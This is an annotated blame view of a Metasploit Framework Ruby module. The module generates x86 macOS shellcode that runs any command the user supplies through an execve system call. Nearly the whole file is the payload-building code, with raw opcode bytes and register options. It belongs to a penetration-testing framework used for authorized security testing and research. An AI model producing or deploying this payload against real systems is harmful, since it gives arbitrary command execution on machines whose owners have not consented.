2008-02-09 07:58:38 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-02-09 07:58:38 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2008-02-09 07:58:38 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
###
|
|
|
|
#
|
|
|
|
# Exec
|
|
|
|
# ----
|
|
|
|
#
|
|
|
|
# Executes an arbitrary command.
|
|
|
|
#
|
|
|
|
###
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2008-02-09 07:58:38 +00:00
|
|
|
|
|
|
|
include Msf::Payload::Single
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'OSX Execute Command',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => 'Execute an arbitrary command',
|
2012-01-23 08:24:22 +00:00
|
|
|
'Author' => [ 'snagg <snagg[at]openssl.it>', 'argp <argp[at]census-labs.com>' ],
|
2008-02-09 07:58:38 +00:00
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_X86))
|
|
|
|
|
2010-11-11 22:19:34 +00:00
|
|
|
# Register exec options
|
2008-02-09 07:58:38 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('CMD', [ true, "The command string to execute" ]),
|
2008-10-02 05:23:59 +00:00
|
|
|
], self.class)
|
2008-02-09 07:58:38 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
#
|
2010-11-11 22:19:34 +00:00
|
|
|
# Dynamically builds the exec payload based on the user's options.
|
2008-02-09 07:58:38 +00:00
|
|
|
#
|
|
|
|
def generate
|
|
|
|
cmd = datastore['CMD'] || ''
|
2012-01-23 08:24:22 +00:00
|
|
|
len = cmd.length + 1
|
2008-02-09 07:58:38 +00:00
|
|
|
payload =
|
2012-01-23 08:24:22 +00:00
|
|
|
"\x31\xc0\x50" +
|
|
|
|
Rex::Arch::X86.call(len) + cmd +
|
|
|
|
"\x00\x5e\x89\xe7\xb9" + Rex::Arch::X86.pack_word(len) +
|
2008-02-09 07:58:38 +00:00
|
|
|
"\x00\x00\xfc\xf2\xa4\x89\xe3\x50" +
|
|
|
|
"\x50\x53\xb0\x3b\x50\xcd\x80"
|
2012-01-23 08:24:22 +00:00
|
|
|
|
2008-02-09 07:58:38 +00:00
|
|
|
end
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|